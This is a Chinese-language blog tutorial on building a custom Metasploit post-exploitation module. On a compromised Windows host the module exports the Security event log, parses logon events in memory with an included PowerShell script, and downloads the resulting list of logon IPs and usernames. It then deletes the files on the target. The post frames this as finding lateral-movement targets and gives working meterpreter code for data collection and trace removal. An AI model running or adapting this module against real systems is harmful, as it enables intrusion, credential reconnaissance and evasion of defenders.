打造定制化的Metasploit—安全日志分析

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

前言

对于Windows安全日志的分析,可以判断出哪些IP对该主机进行登录过。当然,这也可以作为内网横向的目标之一。通过PowerShell就可以完成此操作,但用Metasploit如何实现内存执行ps1呢?

EventLog.ps1

首先简单解读下EventLog.ps1:它使用WEVTUtil+PowerShell将外部日志导出csv,此种方法优点就是快,需要导入外部evtx。

1
Param (
2
    [string]$evtx = $pwd.Path+"\*_Security.evtx"
3
)
4
5
$time=Get-Date -Format h:mm:ss
6
$evtx=(Get-Item $evtx).fullname
7
$outfile="C:\Windows\Temp\"+(Get-Item $evtx).BaseName+".csv"
8
9
$logsize=[int]((Get-Item $evtx).length/1MB)
10
11
write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
12
[xml]$xmldoc=WEVTUtil qe  $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing']  and (EventID=4624 or EventID=4625)] and EventData[Data[@Name='LogonType']='3'] or EventData[Data[@Name='LogonType']='10']]" /e:root /f:Xml  /lf
13
14
$xmlEvent=$xmldoc.root.Event
15
16
function OneEventToDict {
17
    Param (
18
        $event
19
    )
20
    $ret = @{
21
        "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
22
        "EventID" = $event.System.EventID
23
    }
24
    $data=$event.EventData.Data
25
    for ($i=0; $i -lt $data.Count; $i++){
26
        $ret.Add($data[$i].name, $data[$i].'#text')
27
    }
28
    return $ret
29
}
30
31
filter Convert-DateTimeFormat
32
{
33
  Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
34
  try {
35
    ([DateTime]$_).ToString($OutputFormat)
36
  } catch {}
37
}
38
39
$time=Get-Date -Format h:mm:ss
40
write-host [+] $time Extract XML ... -ForegroundColor Green
41
[System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
42
for ($i=0; $i -lt $xmlEvent.Count; $i++){
43
    $event = $xmlEvent[$i]
44
    $datas = OneEventToDict $event
45
46
    $results.Add((New-Object PSObject -Property $datas))|out-null
47
}
48
49
$time=Get-Date -Format h:mm:ss
50
write-host [+] $time Dump into CSV: $outfile ... -ForegroundColor Green
51
$results | Select-Object SystemTime,IpAddress,TargetDomainName,TargetUserName,EventID,LogonType | Export-Csv $outfile -NoTypeInformation -UseCulture  -Encoding Default -Force

EventID=4624 成功登录
EventID=4625 失败登录
Logon type 3 Network 网络登录
Logon Type 10 RemoteInteractive 远程登录

d8cb33382da4948e6d72945529cdad01

借助EventLog.ps1,接下来开始编写Metasploit模块。

执行命令

先要导出安全日志,就需要远程执行系统命令,这里使用meterpreter中的execute,并创建随机名字导出。

1
# 随机字母数字8位
2
sec = Rex::Text.rand_text_alphanumeric(8)
3
print_good("#{sec}")
4
5
# lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb
6
# wevtutil.exe管理员权限运行
7
session.sys.process.execute("wevtutil.exe epl Security C:\\Windows\\Temp\\#{sec}.evtx")

399e34c95cea638fea05bdf555cc5b87

载入ps1

原本想将EventLog.ps1写在该模块中,之后读取写入在目标机中,再去执行。但.ps1格式需要调整,比较麻烦。

换个思路,本地载入读取。经几番查阅,Metasploit可以内存加载,这样就不需要将脚本上传到目标机中,但需要将EventLog.ps1提前放在/data/post/powershell/EventLog.ps1目录下。(可自定义)

1
command = "C:\\Windows\\Temp\\" + "#{sec}.evtx"
2
3
def execute_eventlog_script(command)
4
  print_good("Start Execute EventLog Script ...")
5
  # /data/post/powershell/EventLog.ps1
6
  psh_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "EventLog.ps1"))
7
  # 压缩脚本
8
  compressed_script = compress_script(psh_script) + command
9
  # print_status("#{compressed_script}")
10
  cmd_out, runnings_pids, open_channels = execute_script(compressed_script)
11
12
  while(log = cmd_out.channel.read)
13
    print ("#{log}")
14
  end
15
end

8e8fd266833df6dcce5d37f757e01262

注:因是内存加载,目标机不需要开启运行ps1脚本。

ea6da9fbc5ef0bfb412580a154130ff9

不要忘记载入Powershell类。

1
include Msf::Post::Windows::Powershell

文件操作

既然安全日志已经被分析完成了,那就需要将分析结果取回本地,并将遗留在目标中的文件进行删除,这里使用meterpreter中的downloadrm

1
dir = Msf::Config.loot_directory
2
3
# lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb
4
session.fs.file.download_file("#{dir}/#{rhost}-Security.csv","C:\\Windows\\Temp\\#{sec}.csv")
5
session.fs.file.rm("C:\\Windows\\Temp\\#{sec}.evtx")
6
session.fs.file.rm("C:\\Windows\\Temp\\#{sec}.csv")

完整模块运行Demo:

5054930e4dcc2f0f982a47be99183bd5

References


xq